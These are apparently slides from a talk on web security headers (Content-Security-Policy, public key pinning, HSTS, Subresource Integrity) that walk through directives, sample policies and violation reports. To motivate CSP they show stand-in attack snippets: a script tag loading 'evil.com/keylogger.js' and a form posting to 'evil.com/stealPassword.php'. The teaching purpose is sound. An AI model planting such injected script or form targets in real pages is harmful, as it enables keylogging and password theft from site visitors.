CSP STS PKP ETC OMG WTF BBQ…

Scott Helme
@Scott_Helme | scotthelme.co.uk

Hardenize
How security has evolved
Browser support
What are security headers?

Content-Security-Policy
  Content-Security-Policy-Report-Only
  X-Webkit-Content-Security-Policy
  X-Content-Security-Policy

Public-Key-Pins
  Public-Key-Pins-Report-Only

Strict-Transport-Security

X-Content-Type-Options
X-Frame-Options
X-XSS-Protection
X-Download-Options
X-Permitted-Cross-Domain-Policies
Content Security Policy
Content Injection

<html>
<head>...
</head>
<body>
    <script src="evil.com/keylogger.js"></script>
</body>
Mitigating XSS

```html
<script>
    var message = "Hello World!!!";
    alert(message);
</script>

<script src="(scotthelme.co.uk)/js/message.js">
</script>
```
What is CSP?

```plaintext
cache-control: max-age=0, no-cache
content-encoding: gzip
content-security-policy: [policy goes here]
date: Fri, 22 Apr 2016 10:00:00 GMT
server: nginx
status: 200
```
CSP Directives

child-src
connect-src
default-src
font-src
frame-src*

img-src
media-src
object-src
script-src
style-src

* deprecated
A basic policy

Content-Security-Policy: default-src ‘self’ cdnjs.com
Fine tuning

**Content-Security-Policy:** default-src ‘self’;
script-src ‘self’ cdnjs.cloudflare.com ajax.googleapis.com

```html
<script src="https://ajax.googleapis.com/.../jquery.min.js"></script>

<script src="https://cdnjs.cloudflare.com/.../bootstrap.min.js"></script>
```
Fine tuning

Content-Security-Policy: default-src ‘self’;
script-src [source list];
style-src [source list];
img-src [source list];
child-src [source list];
Additional CSP Directives

form-action  block-all-mixed-content
frame-ancestors upgrade-insecure-requests
Additional CSP Directives

form-action
frame-ancestors
block-all-mixed-content
upgrade-insecure-requests

<form action="https://evil.com/stealPassword.php" method="post"> ... </form>
Additional CSP Directives

form-action
frame-ancestors
block-all-mixed-content
upgrade-insecure-requests

<iframe src="https://scotthelme.co.uk/"/>
</iframe>
Additional CSP Directives

form-action  block-all-mixed-content
frame-ancestors  upgrade-insecure-requests

<img src="http://imgur.com/kittens.png">
Testing CSP

Content-Security-Policy-Report-Only: [policy]
CSP Reporting

Content-Security-Policy-Report-Only: [policy];
report-uri https://scotthelme.report-uri.io

{
    "csp-report": {
        "document-uri": "https://scotthelme.co.uk/ecdsa/",
        "violated-directive": "script-src ‘self’",
        "original-policy": "[policy here]",
        "blocked-uri": https://evil.com ...
    }
}
Migrating from HTTP to HTTPS

Public Key Pinning
Rogue Certificates
What is PKP?

cache-control: max-age=0, no-cache
content-encoding: gzip
public-key-pins: [policy goes here]
date: Fri, 22 Apr 2016 10:00:00 GMT
server: nginx
status: 200
PKP Directives

pin-sha256
max-age
includeSubDomains
A PKP Policy

Public-Key-Pins:

- pin-sha256="X3pGTSOuJeEVw989IJ/cEtXUEmy52zs1TZQrU06KUKg="
- pin-sha256="MHJYVThihUrJcxW6wcqyOISTXIsInsdj3xK8QrZbHec="

includeSubDomains; max-age=2592000
What’s in a pin?

```
scott@scotthelme:~$ openssl x509 -in ecdsa.crt -noout -text

Subject Public Key Info:

   Public Key Algorithm: id-ecPublicKey

   Public-Key: (256 bit)

       pub:
           bc:bb:8a:01:9e:a1:f9:be:b6:0b:c4:ec:b7:32:1e:
           0f:35:31:9a:7c

   ASN1 OID: prime256v1
```
Where to pin?

DST Root

Let’s Encrypt X3

scotthelme.co.uk
Leaf Pin

scotthelme.co.uk
Intermediate Pin

Let’s Encrypt X3

DigiCert CA2
Root Pin

DST Root

DigiCert Root
Public-Key-Pins-Report-Only: [policy];
report-uri https://scotthelme.report-uri.io

{
  "served-chain": "-----BEGIN CERTIFICATE-----",
  "validated-chain": "----- BEGIN CERTIFICATE ------",
  "known-pins": "pin-sha256=X3pGTSOuJeEVw989IJ/cEtX",
  "hostname": "scotthelme.co.uk"
Strict Transport Security
SSL/TLS stripped
What is STS?

cache-control: max-age=0, no-cache
content-encoding: gzip
strict-transport-security: [policy goes here]
date: Fri, 22 Apr 2016 10:00:00 GMT
server: nginx
status: 200
STS Directives

- max-age
- includeSubDomains
- preload
An STS Policy

Strict-Transport-Security: max-age=2592000
With HSTS

http://twitter.com

https://twitter.com

HTTPS
Subresource Integrity
3rd Party Trust

scothelme.co.uk

somecdn.com
What is SRI?

<script src="somecdn.com/jquery.min.js" crossorigin="anonymous"
integrity="sha256-[base64] sha384-[base64]"></script>
What’s in an SRI hash?

```
scott@scotthelme:~$ cat jquery.min.js | openssl dgst -sha256 -binary | openssl base64
caPmelCaJqLUFkrgijiKos9IChnIL86LgGnFm1LjeQA=
scott@scotthelme:~$ cat jquery.min.js | openssl dgst -sha384 -binary | openssl base64
DqDekC1qOt9+aTVU7IBnaTpoBsB9xjmmDaRy7qn58sv0IySoFcEbbUPgvRm0L1ZT
```
SRI deployed

<script src="somecdn.com/jquery.min.js" crossorigin="anonymous" integrity="sha256-caPmelCaJqLUFkrgijiKos9lChnIL86LgGnFmlLjeQA=sha384-DqDekClqOt9+aTVU7IBnaTpoBsB9xjmmDaRy7qn58sv0IySoFcEbbUPgvRm0L1ZT"></script>
3rd Party Trust

scotthelme.co.uk

somecdn.com
Thanks!

Scott Helme
@Scott_Helme | scotthelme.co.uk

Hardenize